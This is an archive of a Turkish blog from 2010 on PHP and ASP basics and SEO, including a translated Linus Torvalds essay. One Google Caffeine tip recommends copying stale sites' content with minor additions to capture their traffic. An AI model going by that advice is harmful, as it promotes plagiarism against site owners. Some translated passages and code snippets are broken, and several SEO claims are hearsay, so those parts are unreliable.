Reklam

Reklamlar

14 Haziran 2010 Pazartesi

PHP'de Parse Hataları ve Çözümleri

Parse hataları php ile çalışırken en çok karşılaşılan hatalardan birisidir.
Parse hataları, sayfanızda herhangi bir sözdizimi (syntax) hatası oluştuğunda yorumlayıcı tarafından ortaya çıkarılırlar.

En çok görülen parse hatalarına örnek verecek olursak;
1. Parse error: syntax error, unexpected $end in … .php on line …
2. Parse error: syntax error, unexpected T_IF/T_WHILE/T_FOR, expecting ‘{‘ in … .php
3. Parse error: unexpected T_IF, expecting ‘,’ or ‘;’ in … .php on line …
4. Parse error: unexpected T_STRING, expecting’,’ or ‘;’ in … .php on line …

Bu hataları örnekleyerek açıklayacak olursak:

1. Parse error: syntax error, unexpected $end in

Hata sebebi: Kullanılan 1. if sorgusu ‘}’ ile kapatılmamış. Böyle bir durum oluştuğunda yorumlayıcı size sayfanın son satırını verecektir.

PHP- Kodu:
if (4) {
   echo 
'IF ';
   if (
10) {
       echo 
'Inner IF';
   } 
2. Parse error: syntax error, unexpected T_IF/T_WHILE/T_FOR, expecting ‘{‘ in

Hata sebebi: Fonksiyon açma ayracı bulunamadı. Bu yüzden hatayı if e yükleyecektir. Hata raporları: T_IF for if, T_WHILE for while, T_FOR for.
Fonksiyonu açarken ayracı fonksiyon isminden sonra koymalısınız. Bu yüzden yorumlayıcı ilk açma ayracını arayacak ve hatayı if e rapor edecektir.

PHP- Kodu:
function test ()
 if (
1>2) {
   echo 
' IF ';
  }
  for (
$i=0$i<=5$i++) {
    echo 
"For $i";
  }

3. Parse error: parse error, unexpected T_IF, expecting ',' or ';' in … .php on line …

Hata sebebi: İlk “echo” dan sonra konulmayan ‘;’. Bu yüzden yorumlayıcı hatayı ikinci if e yükleyecektir. İlk “echo” nun devam etmesini bekliyor ama devam etmiyor. Bunun yerine hatayı if ifadesine yüklüyor.

PHP- Kodu:
if (4) {
   echo 
'testing error '
   
if (10) {
      echo 
'Inner IF';
   }

Satır sonlarında ‘;’ yerine ‘,’ kullanırsanız da aynı hata ile karşılaşırsınız. Hata şöyle karşınıza çıkacaktır: parse error, unexpected T_IF in …
PHP- Kodu:
if (4) {               
   echo 
'parse error answer ',
   if (
10) {
      echo 
'Inner IF';
   }

4. Parse error: parse error, unexpected T_STRING, expecting ',' or ';' in … .php on line …

Hata sebebi: İlk “echo” “ ’ ” eksik olduğu için kapatılmadı. (‘) ile açtığınızda (“) ile veya (“) ile açtığınızda (‘) ile kapatırsanız da aynı hata ile karşılaşırsınız.

PHP- Kodu:
if (4) {
   echo 
'error due to missing quote ;
   if (1< 0) {
      echo '
Inner IF;   
   }

Link Verme Konusunda Dikkat Edilmesi Gerekenler !

Arkadaşlar bir çoğumuz link değişimi yaparız yada link veririz .
Ama bu link değişiminde'de yada bir yere link verirken dikkat etmemiz çok önemli bir husus var .
Tabiiki bu sadece değişim için değil mesela facebook 'ta sitenizi tanıtırken 'de dikkat etmeniz gerekiyor .

Gelelim neye dikkat edeceğimize ...

Yapmamız Gereken link kodu :

a href="http://phpogrenelimmi.blogspot.com" title="Php Öğren" > Php öğren
 Gördüğünüz gibi bu şekilde kullanım'da sitenize değişimin büyük yararı olacaktır. Mesela biz google 'ye "php öğren" yazınca bu sitenin çıkmasının olasılığını arttırmış oluyor . Gelelim Diğer duruma :

Kötü Link Kodu :

a href="http://phpogrenelimmi.blogspot.com" title="tıkla ve gör">Süper site için tıklayın

a href="http://yoursite.com/basketball" target="_new">
http://yoursite.commore..="" src="http://www.somesite.net/pic1.jpg">

Gördüğünüz gibi sitemizle alakası olmayan kelimelerin kullanılması bize bir katkı sağlamıyor. Yalnızca ilk verdiğim koddaki "Süper site için tıklayın" kelimesini googleye yazınca çıkma olasılığını arttırır . Bununda size bir yararı yoktur .

13 Haziran 2010 Pazar

Programlamanın Güzelliği

Program yazmanın beni böylesine büyülemesini tam olarak nasıl açıklıyacağımı bilemiyorum ama bunu deneyeceğim . Bu onunla uğraşan biri işin dünyanın en ilginç işidir .  Daha çok satrança benzeyen ancak kendi kurallarınızı koyabildiğiniz ve sonuçta ortaya çıkana anlam yükleyebildiğiniz herhangi bir şey olduğu bir oyundur .
Yine de dışarıdan bakanlara dünyanınm en sıkıcı şeyi gibi görünür .
Programlamanın içsel heyecanının bir bölümünü açıklamak kolaydır : Bu basit haliyle , bir bilgisayara bir şeyi yapmasını söylediğinizde bunu yapması gerçeğiyle ilgilidir . Hiç yanılmadan . Sonsuza dek . Sızlanmadan .
Ve bu da kendi içinde ilginçtir .
Ama başlangıçta büyüleyici olan körü körüne itaatin , hoşa gidecek bir yoldaş oluşturmadığı açıktır . Aslında işin bu yönü çabucak sıkıcı bir hal alır . Programlamayı öylesine çekici kılan şey , bilgisayara istediğinizi yapmanızı sağlarken onun bunu nasıl yapacağını düşünmek zorunda olmanızdır .
Benim kişisel inancım bilgisayar biliminin fizik ile çok fazla ortak yönü olduğu yönündedir . İkiside dünyanın daha temel düzeyde nasıl çalıştığıyla ilgilidir . Elbetteki fark , fizikte dünyanın nasıl düzenlendiğini anlamanız beklenirken , bilgisayar biliminde dünyayı sizin yaratmanızdır . Bilgisayarın sınırları dahilinde yaratıcı sizsinizdir . Olan biten her şeyin üst düzey denetimi sizin elinizdedir . Yeterince iyiyseniz Tanrı olabilirsiniz . Ufak ölçekte yani .
Ve sanırım bunu söylerek kaba tahminle dünya nüfusunun yarısını kızdırdım .
Ama doğrusu bu . Kendi dünyanızı yaratabilirsiniz ve yapabileceklerinizi sınırlayabilecek tek şey makinenizin ve gitgide artan oranda sizin yeteneklerinizdir .

Bir ağaç ev düşünün . İşlevsel , tabanından açılan bir kapısı olan , sağlam bir ağaç - ev yapabilirsiniz . Ama sadece sağlam yapılmış bir ağaç - evle , daha güzel olan , ağacın yaratıcılığından kaynaklanan avantajı kullanan arasında ki farkı herkes bilir . Bu , sanatı mühendislikle birleştirme meselesidir . Programcılığın böylesine büyüleyici ve ödüllendirici olmasının nedenlerinden biri işte budur . İşlevsellik çoğu kez , ilginç olmanın , güzel olmanın ya da hayret verici olmanın ardından gelen ikinci özelliktir .

Yaratıcılıkta bir terimdir bu .
Başlangıçta beni programlamaya çeken şey bilgisayarın nasıl çalıştığıydı . Keyiflerin en büyüklerinden birisi bilgisayarın matematik gibi olduğunu öğrenmekti : Kendi dünyanızı onun kendi kurallarıyla oluşturmanız gerekiyordu . Fizikte varolan kurallarla sınırlısınız . Ama matematikte tıpkı programcılıkta olduğu gibi , kendi içinde tutarlılığa sahip olan her şey geçerlidir . Matematiğin başka bir harici mantıkla sınırlanması gerekmez ; ama kendi içinde mantıklı olmalı ve kendi mantığına uymalıdır . Her matematikçinin bildiği gibi , üç artı üçün sonuçta iki ettiği bir dizi matematiksel ifade yazılabilir . Gerçekte istediğiniz herşeyi yapabilirsiniz ; ama işi karmaşıklaştırdıkça yarattığımız dünya ile tutarsız kalacak bir şey yaratmamak konusunda dikkatli olmalısınız . O dünyanın güzel olabilmesi için kusur içermemesi gerekir . İşte programlama bu şekilde çalışır .

İnsanların bilgisayarlara bu kadar düşkün olmasının nedenlerinden birisi , yarattığımız kendi yeni dünyamızı deneyimleme olanağına sahip olmanız ve yeni olanağımızı görmenizdir . Matematikte , olabileceklere dair düşünce jimnastiği yapabilirsiniz . Örneğin çoğu insan geometriyi düşünüğünde aklına öklid geometrisi gelir . Ama bilgisayar insanlara başka geometrileride görme olasılığı getirdi ; bunların çoğu Öklid'le bile ilgili değil . Bilgisayarlarla bu önceden yapılmış dünyaları alır ve gerçekten neye benzediklerini görebilirsiniz . Mandelbrot dizisini , benoit mandelbrot'un denklemlerine dayanan fraktal  görüntülerini anımsıyor musunuz ? Bunlar bilgisayarlardan önce asla görünmemiş olan saf bir matematiksel dünyanın görsel sunumlarıdır . Mandelbrot varolmaya o dünyaya dair ihtiyari kuralları öylesine oluşturmuştur ve bunların gerçekle ilgiside yoktur .  Ama bunlar büyüleyici dokular meydana getirmiştir . Bilgisayarla ve programlamayla yeni dünyalar inşa edebilirsiniz ve bazen ortaya çıkan desenler gerçekten güzeldir .

Çoğu zaman yaptığınız bu değildir . Belli başlı bir görevi yerine getirecek bir program yazarsınız sadece . Bu durumda yeni bir dünya yaratmıyor , bir sorunu bilgisayar içindeki dünyada çözüyorsunuzdur . Problem üstünde düşünülerek çözülür . Ve sadece belli bir tür insan öylece oturup bir ekrana bakabilir ve yalnızca düşünerek bir şeylerden sonuç çıkartılabilir .  Sadece benim gibi toplumsal yaşamın geri kalanına fazla ilgi duymayan , kendisini iş edindiği şeye aşırı veren , bilgisayar delisi insanlar .

İşletim sistemi makinenin içinde olup bitecek diğer herşeyin temelidir . Ve bir işletim sistemi oluşturmak , en üst düzey uğraşlardan biridir . Bir işletim sistemi yaratırken bilgisayarı yaşama geçirecek tüm programların içinde olduğu yeni bir dünya yaratıyorsunuzdur ; temel olarak neyin kabul edilebilir veya edilemez , neyin yapılabilir ve yapılamaz olduğunu belirleyecek kuralları oluşturuyorsunuzdur . Her program bunu yapar ; ama işletim sistemi en temel olanıdır . Yarattığınız ülkenin anayasısını oluşturmak gibidir bu ve bilgisayarda çalışacak diğer tüm programlar sadece sıradan yasalardır .

Kimi zaman yasalar anlam ifade etmez . Ama anlamı kendisi , uğruna mücadele verdiğiniz şeydir . Çözüme bakabilmek ve doğru yolla doğru yanıta ulaştığınızı görmek istersiniz .
Okulunuzda her zaman doğru yanıtı bilen kişiyi anımsıyor musunuz ? Bu kişi o şeyi herkesten önce yapardı , çünkü bunun için çabalaması gerekmezdi . O kişi problemin nasıl çözülmesi gerektiğini öğrenmek zorunda değildi ; sadece problemi doğru yoldan düşünürdü . Ve yanıtı duyduğunuzda bu size kuşkusuz gelirdi .

Aynı şey bilgisayarlar içinde geçerlidir . Bir şeyi kaba hüç yoluyla , aptalca , problemi artık problem olmayana dek parçalayarak çözebilirsiniz ; ya da doğru yaklaşımı bulur ve problemin ansızın yok olduğunu fark edersiniz . Meseleye bir başka yönden bakar ve şöyle bir sonucun belirdiğini görürsünüz : Bu sadece sen ona yanlış yönden baktığın için problemdi .
Olasılık buna en iyi örnek bilgisayarcılıktan değil , matematikten verebilir . Öyküye göre , büyük Alman matematikçi Carl Friedrich Gauss öğrenciyken , bir gün canı sıkkın olan öğrencilerinden 1 ile 100 arasındaki tüm sayıları toplamalarını istedi . Çocukların tüm günü bununla uğraşarak geçireceğini ummaktaydı . Ancak gelişme çağındaki matematikçi beş dakika sonra yanıtla çıkıp geldi : 5.050 . Çözüm aslında tüm sayıların toplanmasından geçmiyordu , çünkü bu yıpratıcı ve aptalca bir iş olurdu . Gauss 1 ile 100 'ü topladığında 101 'i bulduğunu görmüştü . Sonra 2 ile 99 'u toplayınca da sonuç 101 idi . 3 ile 98 'in toplamıda öyle . 50 ile 51 'in de . Bir kaç saniye içinde anladi ki 50 çift 101 vardı . Öyleyse sonuç 5.050 idi .

Bu öykü sonradan yakıştırılmış olabilir ama verdiği mesaj açıktır . İyi matematikçi uzun ve sıkıcı bir problem çözmez , çünkü sorunun gerisinde ki gerçek dokunun ne olduğunu görür ve bu dokuyu , yanıtı çok daha iyi bir yoldan bulmak için kullanılır . Aynı şey bilgisayar bilimi içinde kesinlikle geçerlidir .
Elbetteki toplamı hesaplayacak bir program yazabilirsiniz . Günümüz bilgisayarlardında bu parmak şıplatmak kadar kolaydır . Ama iyi bir programcı yanıtın ne olduğunu sadece zekice davranarak bilebilir . Problemin üstüne yeni , sonunda doğru olduğu kanıtlanacak bir yoldan gidecek güzel bir program yazacaktır .
Yine de , bir şeyi daha iyi, daha güzel yoldan nasıl çözeceğinizi bilmediğiniz için üç gün boyunca başınızı duvarlara vurmanın nasıl bir çekici yanı olduğunu açıklamak güçtür . Ama o yolu bir kez bulursanız bu dünyanın en harika duygusudur .

                                                                Linus Torvalds (Yalnızca Eğlenmek için)
                                                                Linux'un yaratıcısı

Sayfa boyutunun seo'da önemi ! ( yada yazı uzunluğu )

Arkadaşlar googlenin indexleme yaparken bir sayfanın uzunluğuna baktığını biliyormuydunuz. Bende yeni öğrendim bir sayfanın boyutu ( yani boyutu derken bilmem kaç kb gibi ) o sayfanın indexlenmesi ve ön sıralarda çıkması için çok önemli bir etkendir. (yada miş)
Evet ben böyle dedim diye siteye hemen büyük boyutlu rar dosyalarını yüklemeye kalkmayın çünkü sayfanın boyutuna bakılırken bakılan kısım HTML kısmıdır. Sitenizin seosu için kesinlikle yazdığınız yazıların uzun olması şart. Bir kelime yazıp bırakmak kısacası söylemek gerekirse fazla bir kazanç sağlamaz size.
Size SEO WARRİOR kitabından aldığım bir ekle güle güle diyorum.

There is no right or wrong answer when it comes to the perfect page size, as it obviously
depends largely on what the page is about. However, your HTML should strive to be
within reasonable size limits and should not contain erroneous information. To get a
rough idea of the page size variable, we can use our script. Figure 4-8 shows the output
section related to the page size for the keyword o’reilly book.

Türkçesine Çevirilmiş Hali!

Hiçbir doğru ya da yanlış cevap o mükemmel sayfa boyutuna, o kadar belli ki gelirbüyük ölçüde ne sayfa hakkında bağlıdır. Ancak, HTML olmak için gayretmakul boyut sınırları içinde ve hatalı bilgi içermemelidir. Bir almak içinsayfa boyutu değişken fikir, bizim script kullanabilirsiniz. Şekil 4-8 göstermektedir çıktıbölümünde anahtar kelime O'Reilly kitap için sayfa boyutu ile ilgili.

Şekilde bahsidilen konu bunu doğrular şekilde.

Anahtar Kelimelere Giden Bağlantılar Yaparak SEO'nuzu Güçlendirin

Arkadaşlar yine yazdığım bu yazının size çok yarıyacağını sanıyorum.

Başlıkta belirttiğim gibi sitenizin anahtar kelimelerine giden bağlantılar oluştururak sitenizin seosuna katkıda bulanabilirsiniz.
Bildiğiniz gibi linklerde 3 tane ana bölüm var diyebiliriz.

a href="http://www.phpogrenelimmi.blogspot.com" title="Php Öğren" > Php
Buradaki üç kısım üzerinden yapabileceklerimizi sıralayalım!
  • En kolayca yapabileceğiniz şey bir bloglama sistemi kullanıyorsanız keywordlarınızda yer alan bir kelime ekleyerek bunu gerçekleştirebilirsiniz.
  • 3 bölümden oluşuyor demiştik ve bu bölümlerin sitede gözükeceği yer olan  (benim Php yazdığım yere ) keywordlarda geçen bir isim ekleyerek ve belirli bir sayfaya yönlendirerek bunu başarabilirsiniz.
  • Bunu aynı şekilde linkin belli başlı bölgerinde kullanarak yapabilirsiniz!
                           Bir yazının daha sonu. Kaynak gösterek paylaşabilirsiniz.

SEO hakkında güzel bir fikir !

Arkadaşlar SEO WARRİOR adlı kitapta çok güzel bir yere rastladım . (Linkten kitaba ulaşabilirsiniz !). 
Aslında olay bize link değişimi hakkında çok çok güzel bir ipucu veriyor ve link değiştirmedeki karımızı çok fazla arttırıyor denilebilir . Yazı ingilizce olduğu için tam çevirisini yapamadığımdan size biraz değiştirerek yani sizin anlıyabileceğiniz gibi anlatacağım.

12 Haziran 2010 Cumartesi

Google Caffein'e Yönelik İpuçları

++ Url satırında tarih kullanmayın.
++ sitenize içerik eklediğiniz gibi artık eski içeriklerinizi de belirli periyodlarda elden geçirin.

( Söz gelimi Kpss sonuçlarıyla ilgili bir sayfa yazdınız geçen sene, bu sene aynı dönemde hem yeni bir ayzı ekleyin, hem de o sayfadaki içeriği yeniden düzenleyin )

++ Google wikipedia kalitesinde sitelere önem veriyor, caffeini tanıttığı sistemde kullandığı resme dikkat edin. Her içerikte yazıyla ilgili kapsamlı bilgiler içeren, mümkünse otorite sayfalara link verin, ilgili resimler ekleyin, her yazınızla ilgili sitenizdeki alakalı diğer sayfalara da link verin.

++ Burası ilginç : Artık yeni ve güncel sayfalar öne çıkacaksa o zaman elinizde kendinizi sıkmadan oluşturabileceğiniz binlerce sayfalık bir hazine var. Mesela en son içeriğini 1 sene önce girmiş siteleri bulursunuz, içeriklerini alır ve her birine 2 cümle eklersiniz, resim, linkleme işlemleri, video vs. ile onun hiti artık sizin.

Türk Arama Siteleri

Abacho (Turkish) http://tr.abacho.com/
Abaragambi (Turkish) http://www.abaragambi.com/
Altanvista (Turkish) http://www.altanvista.com/
Arabul (Turkish) http://www.arabul.com/
Arama http://www.arama.com/
Asiaminor http://www.asiaminor.com/
Baybul (Turkish) http://www.baybul.com/
Bigglook (Turkish) http://www.bigglook.com/
Build Turkey http://www.buildturkey.com/
DMOZ http://dmoz.org/Regional/Middle_East/Turkey/
Dost Turkey (Turkish) http://www.dost.net/directory/
Evreka http://www.evreka-online.com/
Ezilon http://www.ezilon.com/regional/turkey/index.shtml
GencRehber http://www.dost.net/directory/
Indexturkiye http://www.indexturkiye.com/
Linkekle (Turkish) http://www.linkekle.net/
List 2000 http://www.list2000.com/ing/index.asp
MavicaNET (Turkish) http://www.mavicanet.com/directory/tur/
Mynet (Turkish) http://www.mynet.com/
Netbul http://www.netbul.com/
Rehber (Turkish) http://www.rehber.cc/
Trade Turkey http://www.tradeturkey.com/
TurkArama http://www.turkarama.com/
Turkce http://www.gazeteler.tv/dizin/
Turkey Central http://www.turkeycentral.com/
Turkey Crawler http://www.turkeycrawler.com/
Turkey Textile Portal http://www.kumasci.com/
Turkfree Zone http://www.turkfreezone.com/english/index.asp
Turkiye Rehberi (Turkish) http://www.turkiyerehberi.gen.tr/
Turkiyeonline http://www.turkiyeonline.com/
Turkiye on the Web http://www.columbia.edu/~sss31/Turkiye/
Turks on the Web http://www.columbia.edu/~sss31/Turkiye/www_turks.html
TurkVista http://www.turkvista.com/
Vianel http://dir.vianel.com.tr/
Wezp http://www.wezp.com/
Yahoo! http://dir.yahoo.com/Regional/Countries/Turkey/

Çok güzel bir paylaşım ;)

Googlede en çok tıklanan yerler. Çok güzel bir grafik!

PHP Diliyle ile Neler Yapılabilir?

Arkadaşlar hani php'den bahsediyoruzda php ile neler yapılabilir bir göz atalım :)


Diğer sunucu-taraflı betik dilleri gibi PHP ile dinamik web sayfaları oluşturulabilir. Yazım kuralları çok basit ve anlaşılabilir olan bu dil ve eklentileri ile kısaca;
  • veritabanı bağlantılı uygulamalar
  • dinamik olarak oluşan grafikler
  • kullanıcıya, tarayıcıya ve tarihe göre özel durumlar veya içerikler
  • anketler
  • tartışma forumları
  • elektronik ticaret uygulamaları
  • web tabanlı e-posta uygulamaları
  • XML verilerini okuma ve oluşturma
gibi işlemler yapan betikler kısa sürede yazılabilir. Ayrıca web uygulamaları dışında PHP ile kabuk betikleri yazılarak komut satırı işlemleri de yapılabilir. Daha çok UNIX işletim sistemleri üzerinde kullanılan kabuk betiklerini yazma amacı ile PHP dili yaygın bir şekilde kullanılmamaktadır. Buna rağmen PHP geliştiricileri tarafından PHP-CLI arabirimi (kabuk betiklerini komut satırından çalıştıran ve yorumluyan arabirim) her yeni sürümde daha da güçlendirimektedir ve geliştirilmektedir.
PHP dilinin kullanım alanlarından biri olan PHP-GTK arabirimi (eklentisi) ile GTK (The GIMP Toolkit) tabanlı grafikli kullanıcı arayüzleri de oluşturulabilmektedir.

CodeIgniter 2.0 Yayına Hazır

CodeIgniter uzun süren sessiliğini yeni çıkaratacağı 2.0 versiyonu ile bozuyor. Ellislab, CodeIgniter 2.0 ile beklenilen büyük adımı atarak kodlarda köklü değişikliğe gidiyor. Bu yazıda ana hatlarıyla değineceğim değişiklikler, 2.0 versiyonu yayımlandığında uygulamaya geçecektir. Değişiklik kayıtlarında anlatılanları buraya yazmak yerine, köklü değişikliklerden ana hatları ile bahsetmek isterim.

PHP4 Desteği Kalkıyor

Diğer PHP çatılarından ayıran en önemli özelliği olan PHP4 desteği, versiyon 2.0 ile birlikte kalkıyor. CodeIgniter 2.0 sadece PHP5+ desteği verecek. Böylece CodeIgniter çekirdeği PHP5`in avantajlarından yararlanarak yenilendi. Abstract sınıfları, _construct ve _deconstruct özellikleri gibi yeni özellikler ile güçlendirildi. Diğer değişiklikler bir yana, CodeIgniter 2.0 için en önemli değişiklik PHP4 desteğinin sona ermesiyle PHP5è geçmesi olacaktır.

Application Paketleri Geliyor

Bazı kullanıcılar, internet kullanıcıları için ayrı, site yönetim paneli için ayrı application dizinleri oluşturup çalışırlar. Bu farklı dizinler altında bazı dosylar (helpers, libraries vs.) aynıdır. Ancak bu yöntem değişikliklerin farklı farklı dosyalarda birden fazla yapılmasına sebep olmaktadır. Bunu önlemek için CodeIgniter 2.0 ile artık application dizini altına kendi ismini verdiğimiz bir dizin açarak, bu dizin altına kaydettiğimiz ortak dosyalarımızı (helpers, libraries vs) controller içinden doğrudan çağırabileceğiz.
Örneğin application/app dizini altına controller, model, view dizinlerini açıp kodladığımızı düşünelim. Aynı şekilde uygulamanın yönetim panelini de application/backend dizini altına controller, model, view dizinlerini açıp kodladığımızı düşünelim. Her iki uygulamada kullanacağımız helpers ve libraries dosyalarını da application/_common dizini altına yazalım. Helper dosyalarını çağırırken yazağımız kod şöyle olacaktır:
  1. $this->load->add_package_path(BASEPATH.'application/_common/');  
  2. $this->load->helper('benim_helper');  

Seo Warrior E-kitap İngilizce İndir

SEO WarriorTürkçe açıklama bulamadığım için bunları koydum. Kitap size seo hakkında çok önemli ipuçları verebilecek bir kitap ve tam 496 sayfa.


Product Description
How can you make it easier for people to find your website? And how can you convert casual visitors into active users? SEO Warrior shows you how it’s done through a collection of tried and true techniques, hacks, and best practices. Learn the nuts and bolts of SEO theory, the importance of keyword strategy, and how to avoid and remedy search engine traps.
You’ll also learn about search engine marketing (SEM) practices, such as Google AdWords, and how you can use social networking to increase your visibility. Ideal for web developers, savvy marketers, webmasters, and anyone else interested in SEO, this book serves not only as an SEO tutorial, but also as a reference guide for implementing effective SEO techniques.
  • See website optimization in action with detailed case studies of five website types
  • Optimize your site for Google, Yahoo!, Microsoft’s Bing, as well as search engines used in different parts of the world
  • Conduct keyword research to find the best terms to reach your audience-and the related terms they’ll respond to
  • Learn what makes search engines tick by utilizing custom scripts
  • Analyze your site to see how it measures up to the competition

About the Author

John I. Jerkovic earned his degree in Computer and Electrical engineering from Ryerson Polytechnic University in addition to designations including: SCWCD, SCJP, PMP and etc. It was when creating an international web hosting business from scratch that he became fascinated by Search Engine technology with all its mysteries and nuances.

Sıfırdan ASP Dersleri

Döküman: IIS Kurulumu Sonrası Ayarlar
Default Olarak IIS Kurulduktan Sonra Bazı Ayarlar / Izinler / Işlemler Yapmamız Gerekir.

En Baştan Bunları Ele Alalım.

Kurulumdan Önce Tüm Kurulum Bileşenlerini Seçersek Bileşen Sıkıntımız Olmaz Ileride. Kurulumun Tamamlandığını Varsayarak Sonraki Adımlara Geçelim.

Önce Gizli Dosyaları Göster (Herhangi Bir Klasörde Araçlar > Klasör Seçenekleri > Görünüm > Gizli Dosya ve Klasörleri Göster) Aktifken C:\\Inetpub\\wwwRoot Altındaki Tüm Dosyaları Temizleyin. Bu Dosyalar IIS Tanıtım Dosyalarıdır ve Önemsizdir. Temizlik Sonrası Artık ASP Sayfalarımızı Buraya Atacağız.
Döküman: IIS Kurulumu Sonrası Ayarlar
Default Olarak IIS Kurulduktan Sonra Bazı Ayarlar / Izinler / Işlemler Yapmamız Gerekir.

En Baştan Bunları Ele Alalım.

Kurulumdan Önce Tüm Kurulum Bileşenlerini Seçersek Bileşen Sıkıntımız Olmaz Ileride. Kurulumun Tamamlandığını Varsayarak Sonraki Adımlara Geçelim.

Önce Gizli Dosyaları Göster (Herhangi Bir Klasörde Araçlar > Klasör Seçenekleri > Görünüm > Gizli Dosya ve Klasörleri Göster) Aktifken C:\\Inetpub\\wwwRoot Altındaki Tüm Dosyaları Temizleyin. Bu Dosyalar IIS Tanıtım Dosyalarıdır ve Önemsizdir. Temizlik Sonrası Artık ASP Sayfalarımızı Buraya Atacağız.

Burada Unutmadan wwwRoot Klasörüne Gerekli Izinleri Vermeliyiz. Bunun Için Yapmamız Gereken Önce Yine Herhangi Bir Klasörde Araçlar > Klasör Seçenekleri > Görünüm > Basit Dosya Paylaşımı Kullan (Işareti Kaldırın). Daha Sonra

Rastgele Şifre Üretimi ASP

Fonksiyonu kullanarak rastgele karakterlerden oluşan şifreler üretebilirsiniz
Kullanırken
Response.Write(SifreUret(10))
%>

Şeklinde kullanabilirsiniz, buradaki 10 üretilecek şifreninin kaç karakter olduğudur, tercihinize göre değiştirebilirsiniz.

Fonksiyon aşağıdadır.

PHP ile Oturum Yönetimi (Session Management)

PHP ile Oturum Yönetimi (Session Management)
HTTP protokolünün o anki durumu kaydetmeyen (stateless) yapısı web uygulamaları için en önemli sorunu oluşturmuş ve bunun aşılabilmesi için hem sunucu, hem de istemci tarafında çeşitli metodlar geliştirilmiştir.
Web sunucusuna bağlanan bir kişi web tarayıcısı aracılığıyla sunucudan bir URL adresi ile belirtilmiş kaynağı ister (HTTP request) ve sunucu da istemi değerlendirir ve sunucu tarafında yapılması gerekenleri yaparak tarayıcıya cevabını iletir (HTTP response). Arada sürekli bir TCP/IP bağlantısı yoktur. Aslında kaynak kullanımı ve bant genişliği açısından oldukça avantajlı olan bu durum web uygulaması geliştirirken dezavantaja dönüşür. Bir web uygulamasında web sunucusuna çeşitli istemlerde bulunan kişi, bu istemleri arasında o an hangi aşamaya gelmişse oraya kadar yaptığı işlemlerin kaybedilmemesini, sunucu tarafından hatırlanmasını isteyecektir. Bu sorun sunucu tarafta oturum yönetimi (session management) kavramının doğmasına sebep olmuştır.
Web üzerinde oturum yönetimi sunucu ve istemci tarafta olmak üzere ikiye ayrılabilir:
İstemci tarafta oturum yönetimi: İstemci tarafta oturum yönetimi kavramını, bir HTTP oturumu esnasında istemci tarafa bir önceki oturuma ilişkin bilgiler atmak veya istemci taraftan bir önceki oturuma ilişkin bilgileri almak şeklinde düşünülebilir.
Eğer HTML"in form olanağından yararlanılıyorsa HIDDEN türü alanlar kullanılarak bir önceki oturum bilgisinin istemciye aktarılması ve tekrar form aracılığı ile sunucuya geri iletilmesi sağlanabilir. Uygulamanız formlardan oluşuyor ise oldukça kullanışlıdır.
Bir başka metod oturum bilgilerini URL içine gömme metodudur. Form kullanılmasına gerek kalmadan HTML linkleri içine GET metodu çağrılarının yaptığı gibi gömerek uygulama ekranları arasında bilgi taşınabilir.
Son olarak cookie"ler kullanılabilir. Cookie"lerin çalışma mantığı basittir. Browser web sunucusuna istemde bulunurken gönderdiği header bilgisinin arkasına daha önceden ilgili sunucunun set ettiği cookie değişkenleri ve bunların değerlerini gönderir. Sunucu bu bilgileri değerlendirerek en son nerede kalındığını hatırlayabilir. Daha sonra sunucu, browsere cevap gönderirken set etmek istediği cookie değişkenlerini ve değerlerini cevap iletisinin header kısmına koyar ve browser yoksa yeni cookie değişkenleri yaratır ya da varsa önceki cookie değişkenlerinin üstüne yazar.

Upload edilen resmi Veritabanına kaydettirmek

Adım : Sunucuya dosya göndermek
    Sunucuya dosya gönderebilmek için gerekli input tipi file dır. yani,
   
       
       
    yazdığımız anda, bize göz at penceresi sunacaktır. Ancak dosyanın sunucuya ulaşabilmesi için, form tagına - enctype="multipart/form-data" - eklenmelidir. yani örnek bir form oluşturacak olursak;
   
       

       
       

       
       

   
    işte sadece html kullanarak yaptığımız form ve doğru bir action adresi, sunucuya dosya yollamamız için yeterlidir. artık formu dolurduğunuzda, istediğiniz dosya, ekstra bir işleme gerek kalmadan sunucunuzn geçici klasörüne atılacaktır.
   
   
2. Adım : Geçici klasörde bulunan dosyalarla çalışmak.
    Şimdi action gönderdiğimiz, yukleme.php yi kodlamaya başlayalım. Öncelikle dosyanın geçici klasöre gittiğinden emin olalım.
   
        if(empty($_FILES["resim"]["tmp_name"]))
            die("Dosya yüklenemedi");
   
    Artık dosyanın sunucuda olduğunu varsayarak devam ediyoruz ve madem ki diyoruz, yüklediğimiz dosya bir resim dosyası idi, bilgilerini alalaım diyoruz.

        $bilgi = getimagesize($_FILES["resim"]["tmp_name"]);
        // resim bilgilerini alan komut
        $genislik=intval($bilgi["0"]);
        $yukseklik=intval($bilgi["1"]);
        $uzanti=$bilgi["mime"];
        if ($genislik==0)
        die("Yükleme çalıştığınız dosya bir resim değil!!!");

PHP Güvenliği - Basit PHP Güvenliği

PHPi script"lerinizin güvenli olduğundan emin olmanız için ilk olarak temel kuralları yerine getirmeniz gerekiyor: kullanıcı girdilerinin (input) filtrelenmesi ve çıktıların (output) kontrolü. Eğer bu ikisini doğru olarak yapmıyorsanız script"leriniz her zaman güvenlik problemleri ile karşı karşıya olacaktır. Bu makale"de bu iki işlem ile ilgili yapılması gerekenler anlatılıyor.
Bütün girdileri filtreleyin
Script"leriniz harici bir kaynaktan girdi okuduğunda, bu verinin tehlikeli olduğu varsayılmalı ve güvenilmemelidir. Güvenilmemesi gereken değişkenlerden bazıları: $_POST, $_GET, $_REQUEST ve hatta pek mümkün görünmese de önemli veriler içerebilecek olan $_SERVER .
Tehlikeli bir değişkenden gelen veriyi işlemlere tabi tutmadan önce ilk olarak önce onaylanamanız ve filtrelemeniz gerekmektedir. Onaylama işlemi ile sadece sizin istediğiniz verileri içerdiğinden emin olabilirsiniz. Örneğin bir eposta adresi bilgisi bekliyorsanız, onay fonksiyon"unuz girilen verinin doğru bir eposta adresi olup olmadığını kontrol etmeli.
Hemen basit bir örnekle açıklayalım. Aşağıdaki kodda ilk olarak $_POST değişkeninden e-posta adresini alıyorum ve sonra veriyi onaylama işlemine sokuyorum:

PHP ile Nesneye Yönelik Programlamaya Başlama

Phpde Nesneye Yönelik Programlama"nin yapı taşları;

- Sınıf: kodlarımızı sınıflarız
- Obje : kod sınıflarımız içerisinde kullanacağımız fonksiyonlarımızı bütün sınıflarda kullanabilmemizi sağlar.

yazmaya başlıyoruz...

PHP ile grafik üretme

GD Image Library
PHP grafik üretmek için bu kütüphaneye gereksinim duyuyor. Adres:
http://www.boutell.com/gd/ PHP Grafik Fonksiyonları
Yapılabilecekler:
İmaj yaratma:
